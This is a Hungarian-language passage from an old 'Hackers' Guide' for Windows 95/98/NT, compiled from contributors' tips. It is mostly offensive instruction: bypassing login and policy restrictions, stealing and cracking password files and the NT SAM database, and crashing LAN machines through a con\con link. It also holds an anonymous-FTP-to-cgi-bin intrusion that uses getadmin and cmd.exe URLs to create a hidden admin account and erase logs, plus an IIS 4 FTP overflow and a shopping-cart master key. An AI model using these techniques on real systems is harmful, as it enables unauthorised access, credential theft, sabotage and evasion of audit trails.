Gyakran könnyu hozzáférni a tiltott programokhoz, ha jobb gombbal a desktopra (Asztal) kattintunk, (más helyeken is muködhet a kattintás), és a "New"-et választjuk, aztán egy fájlt, amelyik kiterjesztéséhez az a program van társítva, amelyiket el akarjuk indítani. Csak bizonyos programokat tudunk így elindítani, de trükkös módja a Notepad stb. gyors elindításának.

A fent említett párbeszédablakokban tallózva válasszunk ki egy programot, amit el akarunk indítani, aztán (feltéve, hogy a QuickView fel van telepítve) válasszuk a QuickView-et a jobbgomb-menübol, aztán a QuickView ablak bal felso sarkában található ikonnal elindíthatjuk a programot.

Ha a Windows95-ben van IE4.0 vagy Windows98-ról van szó (amelyikbe az IE4.0 be van építve), könnyen létrehozhatunk új eszköztárakat (toolbars). Kattintsunk a tálcára alul a jobb gombbal, válasszuk a "ToolBars"-t, és a "New Toolbar"-t. Itt írjuk be a rejtett meghajtó betujelét (vagy könyvtárat), és máris van egy könyvtárlistánk a tálcán.

Majdnem lehetetlen dolog eltávolítani a Help-et a Start menübol, tehát indítsuk el, és keressünk rá a "Click here" -ra. Ez egy helpfájl-listát fog eredményezni, amelyekben mindben van egy gomb, amelyekkel elindíthatunk egy pár programot.

Üss F8-at, amikor a Windows kiírja hogy "Starting Windows9x" (rögtön azután, hogy a BIOS befejezte a ténykedését), ez egy menübe visz minket. Válasszuk a Command Promptot vagy a Safe Mode-t, többek között. Ha ez nem muködik, akkor módosítsd a "c:\msdos.sys"-t. Ebben van egy beállítás, amely letiltja a bootmenüt. Ha a "BOOTKEYS=1" sort beletesszük (vagy ha van, átírjuk az értéket egyesre) újra engedélyezi a menüt.

A csoport-konvertáló program futtatása ("c:\windows\grpconv.exe") visszaadja a letiltott Shutdown menüt a tálcára. Ezzel a programmal egyebeket is csinálhatunk: létrehozhatunk vele a Start menüben új menüpontokat a meglévo .grp fájlok segítségével a c:\windows könyvtárban. Futtassuk egyszeruen a .grp fájlt, vagy némelyik számítógépen használjuk a grpconv-ot a futtatásukhoz.

106

Hackers’ Guide

A Windows majdnem minden jelszavunkat egyetlen fájlban tárolja, amelyik általában a "c:\windows\USERNAME.pwl" nevu. Bár kódolt formában van, de nincs minden veszve. A titkosítás az USERNAME-t használja a titkosításhoz. Egy ismert módja a rendszerbe való bejutásnak az, hogy letöröljük a felhasználó jelszófájlját, aztán bejelentkezünk a felhasználó nevében, és a Windows új jelszót fog kérni tolünk (minthogy a régit nem találja sehol). Ha viszont ahelyett, hogy letörölnéd a jelszófájlt, csak átnevezed, aztán miután bejelentkeztél, visszanevezed az eredeti nevére, akkor használhatod az összes mentett jelszót, ami abban a jelszófájlban van. Ez hasznos lehet egy Windows95 hálózaton, ahol minden könyvtár-jelszó, amit elmentettek, ebben a jelszófájlban van tárolva.

A régi Windows programok használatával megkerülhetoek a biztonsági szabályok, amelyeket a Policy Editorral állítottak be, mert nem használják a rundll32.exe API hívásait; tehát nincsenek elottük rejtett meghajtók, könyvtárak, stb. Próbáld a "fileman.exe"-t és a "progman.exe"-t.

A Windows, mint majdnem minden operációs rendszer, shelleket használ, általában az explorer.exe-t. Ezt nem lehet eltávolítani, de a Microsoft úgy látta jónak, hogy ez egyben fájlkezelo és shell is legyen. További shellek az internetböngészok, ezekre nem érvényesek a meghajtókorlátozások és egyebek, mert függetlenül futnak (valószínuleg azért, mert több platformon is futhatnak).

Ha problémáid támadnak az elzárt területekre való bejutással, akkor próbálj létrehozni ilyen nevu könyvtárakat:

XXXX.{NNNN-NNNN} ahol az XXXX a könyvtár neve (mindegy ide mit írsz), a NNNN pedig számok, az alábbi listából válassz valamit.

Pl. Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}

{208D2C60-3AEA-1069-A2D7-08002B30309D} - Network Neighborhood {2227A280-3AEA-1069-A2DE-08002B30309D} - Printers - muködik {20D04FE0-3AEA-1069-A2D8-08002B30309D} - My Computer {21EC2020-3AEA-1069-A2DD-08002B30309D} - Control Panel - muködik {3DC7A020-0ACD-11CF-A9BB-00AA004AE837} - InterNet - Érdekes beállítások!!! {645FF040-5081-101B-9F08-00AA002F954E} - Recycle Bin - muködik {85BBD920-42A0-1069-A2E4-08002B30309D} - Brief Case - muködik {871C5380-42A0-1069-A2EA-08002B30309D} - Internet Explorer - úgy muködik, mint egy link {a4d92740-67cd-11cf-96f2-00aa00a11dd9} - DUN - nem muködik {D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Task Scheduler

Láttuk, hogyan lehet a tiltott meghajtók védelmét megkerülni az általános párbeszédablak segítségével, de a Windows korai verzióinál az Explorer segítségével is megtehetjük. Nézd meg a Tools menüt, hogy van-e ott olyan, hogy "Go...", mert ha van, akkor egyszeruen ide írd be a meghajtó vagy könyvtár betujelét és paff... Úgy tunik, hogy az explorer a további muveletekhez eltávolítja a meghajtóról a rejtettséget!

A login-képernyonél a Cancel nyomása helyett próbáld ki a Ctrl+Alt+Break, Alt+F4 vagy Ctrl+Alt+Scroll Lock kombinációkat, mind ugyanazt csinálják.

107

Hackers’ Guide

Ha a Find parancsot kell elérned, nincs szükség rá, hogy feltörd a rendszert egészen az admin jogosultságokig, csak üss Ctrl+Esc -et (ez behozza a Start menüt) utána Esc-et (ez eltünteti) és aztán F3-at (felbukkan a Find párbeszédablak). Na ez aztán nehéz volt! ************************************************************************************************ Jelszó eltüntetése Windowsrol Egyszeruen atnevezed a jelszofilet. Ezeket a win32-es rencerek pwl kiterjesztesu fileokban taroljak a %winbootdir% konyvtarban (gyk.: dir %winbootdir%-el megkapod, hogy melyik konyvtarat keresed). Ikonok elrendezese->tipus szerint-et hasznalva lehet ezeket legegyszerubben megtalalni. Teged gondolom az administrator jelszava erdekel, ez az administ.pwl-ben van tarolva. Ezt megkeresed, atnevezed, kilogolsz, es administratorkent bemehetsz jelszo nelkul. II. ##[ System.ini buheralasa> Szinten a %winbootdir%-ben talalhato egy System.ini nevu rejtelyes file :). Ebben talalhato egy "[Password Lists]" tartalmu sor. ez alatt valami olyasmi van, hogy: [Password Lists] LSD=C:\WINDOWS\LSD.PWL ADMINISTRATOR=C:\WINDOWS\ADMINIST.PWL Szoval most minket ugye az administrator sora erdekel (ha nem ugye, akkor hagyd abba az olvasast).Itt 1reszt megtudhatod, hogy mi az administrator felhasznaloneve, masresztpedig, ha egy kicsit belejavitassz a soraba, akkor el tudod erni, hogy szegenynek ne kelljen mindenfele hulye jelszot gepelnie. Vilagossaban: Ez volt az eredeti sor: ADMINISTRATOR=C:\WINDOWS\ADMINIST.PWL Es ilyenre kell valtoztatni: ADMINISTRATOR=C:\WINDOWS\ADMINIST.P_L Vagya akarmilyenre, lenyeg, hogy az eleresi utnal becsusszon valami hiba.

108

Hackers’ Guide

************************************************************************************************ Registryben tárolt jelszavakról Eredeti cím/szerzo: "Regarding passwords in registry keys." /Ash/ Date: Fri, 19 Feb 1999 17:04:37 -0800 From: Ash [email protected] To:[email protected]

A különbözo, jelszavakat átmenetileg a registryben tároló programokról szóló mendemondákat figyelembevéve figyelmeztetnem kell arra, hogy a registry-kulcsok sosem kerülnek törlésre. A registry csak megjelöli a kulcsot, mint "unused" (használaton kívül), és a helyén hagyja, és a bejegyzést sosem írja felül vagy törli. Ezért no a registry mérete állandóan.

Nézz utána a "Windows Annoyances" címu O'Reilly könyvben, útmutatók vannak benne, hogy hogyan exportáljuk a registry-t egy fájlba, majd utána hogyan csináljunk egy teljesen újat ebbol a fájlból. Újra kell bootolni DOS-ba és hasonlók, nagyon bonyolult. A múltkor végigcsináltam és visszanyertem vagy egy MBnyi helyet.

Tehát mindazok az "átmeneti" kulcsok végül is a registry adatbázisában maradnak, akárki kinyerheti belole hex editorral. Valószínuleg érdekes bányászás lenne belole.

Megjegyzés: a registry méretének növekedése lassítja a rendszer muködését, és zavarokhoz vezethet a rendszerstabilitásban. A fenti ötlet nagyon érdekes, aki kipróbált hasonló módszert, kérem, írja meg a tapasztalatait.

A registryt könnyedén lehet exportálni egy külso fájlba, .reg kiterjesztéssel. Azonban nem megoldás, ha ezt utána egyszeruen visszaimportáljuk, mert így nem töröljük ki a plusz információt. Egy tiszta user.dat-ra és system.dat-ra van szükségünk (valószínuleg itt jön be a képbe a DOS, mert ha fut a Windows, nem tudjuk kicserélni ezeket a fájlokat), és ezzel kell bootolni a Windowst, majd beimportálni a mentett registryt. A legegyszerubb (és leglassúbb, legmacerásabb) megoldás, ha újrainstalláljuk a Windowst, formázás nélkül, Windowsból indítva az installt (ekkor ugyanis teljesen felfrissíti a registryt és törli a felesleget, valamint a programjaink regisztráltak maradnak, és a rendszert ugyanúgy használhatjuk továbbra is, mint eddig, csak valamivel gyorsabb lesz).

Voyager2 ************************************************************************************************ Windows ScreenSaver Jelszó

109

Hackers’ Guide

A kepernyovedo jelszavat manualisan is megfejthetjuk, ha kicsit korul nezunk a user.dat-ban. Nyisd meg a nevezett filet worbpadban, es keress ra arra, hogy ScreenSave_Data! Ha megtalalta, utana nezd meg azt a par karaktert ami a Data es a negyzetek kozott van. Ez a karaktersorozat a jelszo. A jelszo annyi karakterbol all, mint a jelsorozat/2, szoval, ha 8 karakter van a Data utan akkor 4 karakteres a jelszo. A karakterlancot szedd szet kettes csoportokra! Most jon a trukk! Nem eleg, hogy minden csoport hexaban van, meg raktak ra valami egyeb kodolast is! Az alabbi tablazat megadja, hogy egy karakter hanyadik helyen allva milyen erteket kap: 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. helyen A09 AF 37 5C 26 28 E0 5A 3B CD B0A AC 34 5F 25 2B E3 59 38 CE C0B AD 35 5E 24 2A E2 58 39 CF D0C AA 32 59 23 2D E5 5F 3E C8 E0D AB 33 58 22 2C E4 5E 3F C9 F0E A8 30 5B 21 2F E7 5D 3C CA G0F A9 31 5A 20 2E E6 5C 3D CB H00 A6 3E 55 2F 21 E9 53 32 C4 I01 A7 3F 54 2E 20 E8 52 33 C5 J02 A4 3C 57 2D 23 EB 51 30 C6 K03 A5 3D 56 2C 22 EA 50 31 C7 L04 A2 3A 51 2B 25 ED 57 36 C0 M05 A3 3B 50 2A 24 EC 56 37 C1 N06 A0 38 53 29 27 EF 55 34 C2 O07 A1 39 52 28 26 EE 54 35 C3 P18 BE 26 4D 37 39 F1 4B 2A DC Q19 BF 27 4C 36 38 F0 4A 2B DD R1A BC 24 4F 35 3B F3 49 28 DE S1B BD 25 4E 34 3A F2 48 29 DF T1C BA 22 49 33 3D F5 4F 2E D8 U1D BB 23 48 32 3C F4 4E 2F D9 V1E B8 20 4B 31 3F F7 4D 2C DA X10 B6 2E 45 3F 31 F9 43 22 D4 Y11 B7 2F 44 3E 30 F8 42 23 D5 Z12 B4 2C 47 3D 33 FB 41 20 D6 Ha nem jon ossze a dolog: ------------------------- Tobb oka is lehet: -Lehet, hogy fel van cserelve a z es az y karakter a tablazatban (angol es magyar billentyuzetek...) -Lehet, hogy a tablazatban nem szereplo karakter van a jelszoban (szam, w). Teendo: Egy masik gepen valtoztasd meg a kepernyovedo jelszavat annyi egyesre, ahany karakteres a feltorendo jelszo! Nezd meg a user.dat-ban, hogy mi all a _Data utan, majd a szamokat(meg betuket) ird ki kulon! Ezt csinald meg 2-vel, 3-mal

110

Hackers’ Guide

stb... igy kapsz egy olyan tablat, mint a fenti. Ha ugy gondolod, hogy ez tul faraszto, akkor...tegyel le arrol, hogy manualisan megtorod a jelszot! Nem kell parazni, en is ugyan igy csinaltam ezt a tablat, fel ora alatt megvagy a 10 szammal(ha nem fagy le a gep :)) Ha igy sem jo, akkor probald meg siman attenni az acsii szamokat decimalisba, as nezd meg az ASCII tablan, hogy milyen karakterhez tartozik a szam! Jo szorakozast: Lord Lsd www.extra.hu/lordlsd [email protected] ************************************************************************************************ NT Password Cracker Annyi a tortenet, hogy egy rovidke kapcsolatfelepites utan ellophatjuk az NT jelszoadatbazisat, es utana offline megfejthetjuk az egeszet! Nagyon hatekony, jol parameterezheto, wordlistet is lehet neki megadni. Elegge sokaig szoszmotol, de altalaban egyszeru jelszavak vannak, ugyhogy legtobbszor hamar a vegez. Vedekezes: tablettaval, de jobb, ha elinditjuk a SYSKEY.EXE-t (SP3-ota ott vigyorog az NT-ben) es engedelyezzuk a titkositast. Ez azt vonja maga utan, hogy az ERD-t (Emergency Repair Disk) el lehet felejteni, ugyanis lehetetlen lesz lemezrol helyreallitani a registry-t + LSA adatbazist, ugyhogy csak ovatosan! Ahol vannak RAS-os betarcsazo kliensek, amik latjak a PDC-t, ill. routeres kliensek, nagyon figyeljunk oda erre, en a titkositas mellett szavazok! NT Password Cracker letöltése

KohiNoor ************************************************************************************************ Windows NT munkaállomás törése

111

Hackers’ Guide

A windows nt-s munkaállomásokra nagyon egyszeru rendszergazda jelszót szerezni, meg is lepodtem, hogy milyen egyszeru. NT alatt a jelszavakat a winnt\system32\config könyvtárban a "SAM" nevu fájl tartalmazza, a felhasználók más adataival és más beállításokkal együtt. Ezt kell feltörni, de még a rendszergazda sem tudja olvasni. A fájlról van egy biztonsági másolat a winnt\repair könyvtárban, de ez a telepítéskor beállított jelszót tartalmazza, ha nem futtatták azóta az "rdisk" programot. Ez frissíti a repair könyvtár tartalmát, de csak rendszergazda jogokkal. Innen másolja át az "rdisk" a "helyreállító" lemezre a konfigurációs fájlokat. Az SP3 felrakása után a repair könyvtárból sem lehet olvasni a sam fájlt. A fájl ellopására van egy kis progi, ami dos alá mountolja az NT fájlrendszerét (NTFS). Ez az NTFSDOS. Ha nincs dos a gépen, akkor bootolj lemezrol, ha kell írd át a cmos ramot, hogy lemezrol bootoljon. (NT-n dos módban nem muködik). Ha ez sem megvalósítható, akkor marad a "repair" könyvtárban lévo fájl feltörése, kivéve ha fel van rakva minimum az SP3.

Másold ki a fájlt, és nyugodt körülmények között törd fel a l0pht crack nevu progival. Érdemes hozzá szerezni egy jó nagy szótárat. Ha pedig nincs benne, akkor sem tart túl sokáig, 366os celeronon az angol abc betuivel kb. 3-4 óra a brute force attack (magyarul "nyers ero", az összes lehetoség végigpróbálása), számokkal pedig kb. 2 napig tart a törés. Ideális a rengeteg elpocsékolt gépido kihasználására, csendesen - akár észrevehetetlenül is - elfut a több alkalmazás mellett.

Innen tudod letölteni az l0pht crack nevü progit: http://www.l0pht.com/l0phtcrack/

Sun-Zero [email protected] ************************************************************************************************ Windows NT szerver törése Az anyag fordítás, eredeti cím/szerzo: "Hack FAQ <Volume 3>" /Wang/. Valószínuleg nem fogsz tudni ezen ismeretek birtokában betörni sehová. Azonban, ha elolvasod, némi kép kialakulhat benned, hogy hogyan, mi módon folyik ez az egész.

Mindenekelott, ha NT szervert akarsz törni, tényleg szükséged lesz egy számítógépre, amelyiken NT fut. Keress egy szervert, amelyiken IIS fut (Internet Information Server), valamint van FTP szolgáltatása. Nyiss egy parancssor-ablakot,

112

Hackers’ Guide

és írd be: ftp www.dodgyinc.com (A www.dodgyinc.com helyére természetesen a szerver neve jön.)

Connected to www.dodgyinc.com.

220 Vdodgy Microsoft FTP Service (Version 3.0).

User (www.dodgyinc.com:(none)):

Ez a kis darabka információ fontos, mert megmondja a számítógép NetBios nevét - Vdodgy. Ebbol származtathatjuk az anonim internet-elérés nevét, amelyet az NT arra használ, hogy névtelen hozzáférést biztosítson a WWW, FTP és Gopher szolgáltatásokhoz. Ha a default beállítást nem változtatták meg, akkor ennek az accountnak a neve IUSR_VDODGY lesz. Ez az információra késobb lesz szükség, amikor Administrator jogokat szerzel a géphez. Írj anonymous -t usernévnek és a következo jelenik meg:

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

A jelszó akármi lehet. Üss entert, vagy írj be valami fals email-címet.

Most írd be: cd /c és nézd meg, hogy van-e olyan nevu könyvtár, hogy "cgi-bin". Ha van ilyen, és tudsz bele írni (másolj bele valami próbafájlt), akkor megütötted a fonyereményt! >> Umm.. nem hiszem, hogy anonymous néven bejelentkezve írásjogod lenne a cgi-bin -be.. ez nagyon láma lenne.. de folytassuk << Voyager2 A cgi-bin olyan programokat tartalmaz, amelyeket közvetlenül a web-böngészodbol tudsz futtatni.

Válts a cgi-bin könyvtárba és add ki ezt a parancsot: "binary". Ez mondja meg az ftp programnak, hogy bináris átvitel következik (egyszerubben: programot fogunk másolni és nem szöveget). Most írd: put cmd.exe. (Ez a cmd.exe azon a gépen meg kell hogy legyen, ahonnan hackelsz, hiszen minden NT-ben benne van.) Most további fájlokra lesz szükséged az internetrol. Nézz körül, és szedd le a következo fájlokat: getadmin.exe és gasys.dll. (Ezeket a fájlokat hívjuk exploitnak. A rendszer egy adott hibáját fogják kihasználni, hogy elonyökhöz juttassanak bennünket.) Ha megvannak, tedd oket is a cgi-bin könyvtárba. Most csukd le a parancssor-ablakot.

Indítsd el a web-böngészodet, írd be a következo URL-t: http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY

Pár másodperc múlva ez fog megjelenni:

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

Congratulations , now account IUSR_VDODGY have administrator rights!

113

Hackers’ Guide

Az anonymous felhasználóból administrátor jogokkal rendelkezo felhasználót faragtunk. Most létrehozunk egy felhasználót a rendszeren, szintén adminisztrátori jogokkal. Írd:

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20mole%20iammole%20/add

Ezzel létrehozunk egy elérést mole néven és iammole jelszóval. Most megcsináljuk hozzá az adminisztrátori privilégiumokat:

http://www.dodgyinc.com/cgi-bin/getadmin.exe?mole

Most csukd le a böngészot, és menj a Start>Find -be és keress rá erre a számítógépnévre: www.dodgyinc.com. Mikor megtalálta, jobb gombbal kattints a computer-ra és az Explore-ra. Megnyílik az NT Explorer (ezért kell NT-t használni!) és egy kis várakozás után bekéri a felhasználói nevet és a jelszót. Írjunk neki mole -t és iammole -t.

Most admin jogokkal rendelkezünk. Az NT Explorerrel rendeljünk hozzá egy meghajtót a rejtett C$ share-hez. Menjünk a Winnt\system32\logfiles könyvtárba és nyissuk meg az aznapi logfájlt. Töröljünk minden bejegyzést, ami ránk vonatkozik, és mentsük el. Ha "sharing violation" hibaüzenetet kapunk, állítsuk át a számítógép dátumát a következo URL beírásával (a böngészovel):

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2002/02/98

Most indítsuk el a registry editort, és csatlakozzunk a számítógéphez. Töltsük le a netrol a l0phtcrack programot, innen:

http://www.l0pht.com

Ezt a programot arra használjuk, hogy a SAM tartalmát kinyerjük (SAM=Security Accounts Manager, amolyan jelszóadatbázis-féle), és feltörjük vele. Miután kidumpoltuk a SAM-ot (a program dokumentációjában le van írva, hogyan kell), töröld le a cmd.exe, getadmin.exe és gasys.dll fájlokat a cgi-bin -bol. Nézd meg a security event log -ot a szerveren (használd az Event Viewer -t) és töröld ki a rád utaló bejegyzéseket, ha van. És végezetül: indítsd az User Manager -t, és töröld az IUSR_VDODGY adminisztrátori jogait és töröld le a mole felhasználót. Már nincs rá szükséged, mert a l0phtcrack feltöri neked az összes felhasználó jelszavát, az Administrator -t is beleértve. Legközelebb már ezzel jelentkezhetsz be a szerverre! ;)

>>Ez a getadminos dolog ráépülhet más módszerekre. Ha valamilyen módon bejuttatjuk cgi-bin könyvtárba a fájlokat, akkor nyert ügyünk van. Ez a módszer csak feltételezte, hogy az anonymousnak írásjoga van a cgi-bin -be, de szerintem ilyen sysadmin nincs, aki ezt engedélyezi. Keressünk exploitokat arra nézve, hogyan tudunk fájlokat másolni a cgi-bin -be. És ha elkezdtük keresni ennek a módjait, akkor ez a kis leírás már elérte a célját, mert útbaindított :) << Voyager2 ************************************************************************************************

114

Hackers’ Guide

Windows NT bug

Ujabb hiba az NT - ben !! Ha egy felhasznalo beloginol egy NT - s gepbe, van nehany processz, ami automatikusan elindul, mint például az explorer.exe. Ezek a programok normalis esetben a %winroot% vagy a %winroot%\system32 - ben vannak. A problema az, hogy az NT eloszor a felhasznalo home konyvtaraban, majd a gyokerben keresi ezeket. Ez lehetoseget ad barmelyik felhasznalonak, hogy atnevezve futtason egy alkalmazast, atlepve tobb biztonsagi kiirast. A fajlok amikkel ez a dolog mukodik: explorer.exe, isass.exe, nddeagnt.exe, taskmgr.exe es userinit.exe. Probald ki, hogy a command.com - ot atnevezed explorer.exe - re, es utanna ujra belogionolsz.. Ha valaki az elobb leirt NT -s hibat ki akarja javitani a rendszereben tegye a kovetkezo sort a registrybe: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon\SHELL = "C:\winnt\explorer.exe"

Petycomp ************************************************************************************************ Re: Windows NT bug

A "legújabb doksik" között láttam néhány NTset is. Nos, a 7.10-ei szerintem nem winnt bug, hanem nem megfelelo adminisztrátori setup. Azért elég ritka, hogy valaki saját magával szúrna ki... Szóval nem bug, hanem ez a várható muködés. Hasonlóan nem bug, viszont sokkal súlyosabb következményei lehetnek a következonek: Ha az aktuális screen saver programját (*.scr) lecseréljük egy másik programra, mondjuk explorer-re, regedit.exe-re, musrmgr.exe (user manager) akkor a képernyovédo helyett ez a program indul el SYSTEM jogosultságokkal. Így a pl. az explorerrel minden filet elérhetünk még NTFSen is,.......

vbela

************************************************************************************************

115

Hackers’ Guide

Hogyan fagyasszunk Win-es gépet intraneten Felhasznált dokumentum: "Hack-FAQ <Volume 5>" /Wang/ Hogyan fagyasszunk meg egy számítógépet Windows9x hálózaton keresztül?

Elméletileg ezt a módszert használva bárkit le tudsz fagyasztani egy LAN-on keresztül (LAN=Local Area Network, helyi hálózat), feltéve, hogy Windows 95/98-at használ. Nem fog muködni NT vagy Win2000 ellen (bár nem lett tesztelve).

Hallottál már a "win98-con" vagy "con\con" bugról? A következo a történet (kíváncsi vagyok, hányan csináljátok végig!!):

Menj a Start menübe Válaszd a Futtatást (Run) írd be "\con\con"

Most egy kicsit várunk, hogy azoknak az embereknek, akik kipróbálták, legyen idejük újrabootolni a gépet :) tik-tak...

Amikor olyan könyvtárat próbálsz elérni, amelynek a nevében benne van a "con\con" string, beáll a Halál Kék Képernyoje (rendszerösszeomlás), és újra kell indítani a gépet. Például a következo:

c:\hacking\texts\con\con\vol5.htm

szintén lefagyaszt. Ez a bug az összes Win95 és Win98 verzióban benne van. Próbáltál már létrehozni olyan könyvtárat, hogy "con"? próbáld meg - a Windows nem fogja engedni. Ez azért van, mert a con egy "foglalt" szó. Egyébként nem csak a con ilyen, van még egy pár, de csak az "aux" -ra emlékszem. Az "aux\aux" szintén a kívánt hatást hozza majd.

Szerintem ez nagyon hasznos dolog, például odamehetsz a számítógépükhöz és lefagyaszthatod nekik, amikor épp nem figyelnek oda! De a dologban még ettol is sokkal több van!

Egy html oldalon keresztül akármilyen számítógépet lefagyaszthatsz a hálózaton keresztül. Egy megszorítás van, a lefagyasztandó számítógépnek legalább egy megosztott könyvtára kell, hogy legyen (tehát amelyiket te is el tudod érni). Ahhoz, hogy megállapítsuk, hogy egy számítógépnek van-e megosztott könyvtára, használjuk a NBTSTAT.EXE programot (amelyik benne van minden Windowsban és MS-DOS ablakban fut).

Írd:

Nbtstat -a <célszámítógép IP-címe>

Ha használható dolgot kapsz vissza, nézd meg a "Name" oszlopot. Ez a share-k listája, amelyik minket érdekel. Hogy oszinte legyek, bizonyára egyszerubb, ha megnézed, hogy a te

116

Hackers’ Guide

számítógépednek milyen megosztott dolgai (share) vannak, mert sok hálózati számítógépnek ugyanaz lesz. A saját share megállapításához írd:

Nbtstat -n

Ha van egy share neved, csinálj egy új HTML oldalt, és tegyél bele egy az alábbihoz hasonló linket:

<a href="file://target/share/con/con">Click here to Crash your target!</a>

Az alábbiak szerint módosítsd a linket:

Cseréld ki a "target"-et annak a számítógépnek a nevére, amelyiket fagyasztani akarod Cseréld ki a "share"-t arra share névre, amit találtál.

Most töltsd be a weblapot a böngészobe és kattints a linkre - és a célszámítógép lefagy! ************************************************************************************************ Windows nyomtatómegosztás – bug Ez a cikk fordítás, az eredeti cikk aneworder.box.sk-ról származik. A Windows tartalmaz egy jellemzo vonást, ami engedélyezi a felhasználóknak, hogy automatikusan installáljanak drivert a nyomtatóhoz, ha az meg van osztva mások gépén. Sajnos, ez megosztja a c:\windows\system könyvtárat, amit "printer$"-nak hív. Ez a megosztás nyilvános, és nem használ jelszót. Egyes Windows verzióknál (98/98SE, 95) ez a vonás sebezheto. Ez a nyílt megosztás engedélyezi egy távoli felhasználónak, hogy meghatározza a DLL fájlok és a softver verziók alapján a sebezhetoség fokát az áldozat gépén.

Exploit: írd be a következoket a Start/Futtatás ablakba: \\foo\printer$ (Ahol a "foo" a gép neve, ahol a nyomtatómegosztás be van kapcsolva.)

Scalpal ************************************************************************************************

117

Hackers’ Guide

Hogyan szerezzünk IP-t OP jog nélkül Szál egy MSN-en csetelo lámmer IP-je kéne? Oksee, nem bonyolult, csak kövessed az alábbi lépéseket: Na mondjuk, hogy a 195.34.187.XX IP-jét akarod. A két X azt mutatja, hogy az IP cím utolsó száma kétszámjegyu. (Okos dolog a microsofttól :) Használd a WHO parancsot az IP-sniffhez, az alábbi módon: /who *195?34?187?1* Nézzük csak mi csinálunk. A vége az ami érdekes és magyarázatra szorul. Ha kétszámjegyu az IP vége, akkor tuti, hogy nem nullával kezdodik. Mert ugye akkor már nem kétszámjegyu lenne. Ezzel egy próbálkozástól megszabadítottuk magunkat. :) Ha szerencséd van, akkor megkapod a lámmer nevét, akinek kéne az IP-je. Ha nem, akkor próbálgasd szépen végig az 1-es helyére a többi számot. Jó. Tegyük fel, hogy az 5-ösre megkapod az eredményt. Ekkor még ki kell találni az utolsó számjegyet, tehát további max 10 próbálkozás.

Ehhez így írjuk be a parancsot: /who *195?34?187?50 Természetesen most nulláról indulunk. Végigmegyünk, ameddig meg nem lesz. Ha meglátod a nevét az illetonek, akkor készen is vagy, megvan az IP-je. Na jó, ez mind szép és jó, de mi van akkor, ha háromszámjegyu az IP-je? Legyen pl.: 195.34.187.XXX Ha van egy kis kreativitásod, akkor ez sem okozhat gondot... Persze egy kis IQ is kell hozzá :)

Szál most megint gondolkozzunk egy kicsit. Tudom, hogy fáj, meg minden, de azért néha szükség van rá. :) Ha háromjegyu az IP, akkor vagy egyessel, vagy kettessel kezdodik. Jéé, ki gondolta volna :) Így aztán a százas helyiértéken álló szám máris leszukült egyesre, ill. kettesre. Akkor most mit fogunk beírni? /who *195?34?187?1* Szuper ügyes vagy :) Jól van, azért látom, ragadt rád valami az iskolában :) Ha megkaptuk a nevét a lámikának, akkor egyessel kezdodik az IP-je, ha nem, akkor nyilván kettessel.

Yo. Menjünk tovább. Jön a második számjegy. Ez további max tíz lehetoséget jelent. A /who *195?34?187?10* (GY.K.: Itt a 0-t cseréled majd le a többi számjeggyel.) Ha ez is megvan, akkor már csak a vége kell, ami további max tíz próba. Ha pl. a második számjegynél 5-ös van, akkor az utolsó /who *195?34?187?150 számjegyre a próbát így kezdjük el. Itt is csere következik, ameddig meg nem kapod a lámmi nevét.

RSC

118

Hackers’ Guide

************************************************************************************************ IIS 4.0 Microsoft Server Remote Exploit

Szóval hogyan vágjunk tacsra egy IIS 4-est? Elég könnyű dolgunk van. Nyissunk meg egy FTP terminál. Loggoljunk be a balek szerverére "anonymous"-ként. Ez általában mindig sikerül. Innen már is nyert ügyünk van.

C:\>ftp ftp.áldozat.com Connected to ftp.áldozat.hu 220 ÁLDOZAT Microsoft FTP Service(Version 4.0). User (bukta.áldozat.com:(none)): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password:230 Anonymous user logged in.

Loggoljunk be a balek szerverére "anonymous"-ként. Ez általában mindig sikerül. Innen már is nyert ügyünk van. Nincs más dolgunk, mint kiadni a következő parancsot:

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA

Erre ezt kapjuk: 200 PORT command successful. 150 Opening ASCII mode data connection for file list. És már kész is. A server többet nem fog válaszoni, mert nem tudja teljesíteni helyes kis parancsunkat. J =-.DoktorJoint.-=

********

Biztonsági rés egy e-commerce programban 2000.04.28

A CART32 internetes áruház szoftver egy olyan "hátsó ajtóval" rendelkezik, amely egy esetleges támadó számára lehetővé teszi, hogy teljeskörű hozzáféréshez jusson az elektronikus bolt szerverén.A Cerberus, az a biztonságtechnikai cég, aki a hibát felfedezte. A hiba kihasználásával hackerek könnyen ellophatják az adott szerveren lévő hitelkártya-információkat.

119

Hackers’ Guide

Ez egy igazán súlyos biztonsági rés, egy jelszó, és egy rejtett link használatával az összes jelszó hozzáférhető. (Természetesen az szoftver által használt adatokhoz való hozzáféréshez használt jelszavakról (master key - tolvajkulcs) van szó.)

Ha egyszer valaki megszerzi a master key-t, szinte mindent megtehet azon a kiszolgálón, ahol a szoftver fut. Amennyiben ezen a gépen működik az adott internetes áruház webszervere is, a támadó azt is módosíthatja, illetve elérhetetlenné teheti, valamint elolvashatja a log fájlokat, és a vásárlókról tárolt információkat is ellophatja.

Egyébként a CART32 master key alapból az alábbi karakterlánc: "wemilo" Ez a kód, ha megfelelő helyen használják, kilistázza az összes CART32 kliens teljes hozzáférést nyújtó jelszavát, amit az adott szerveren üzemeltetnek.

A master key-t azért építették be a rendszerbe, hogy megkönnyítsék a technikai támogatást.

************************************************************************************************ NT támadás

Ez a rész az NT támadással foglalkozik.

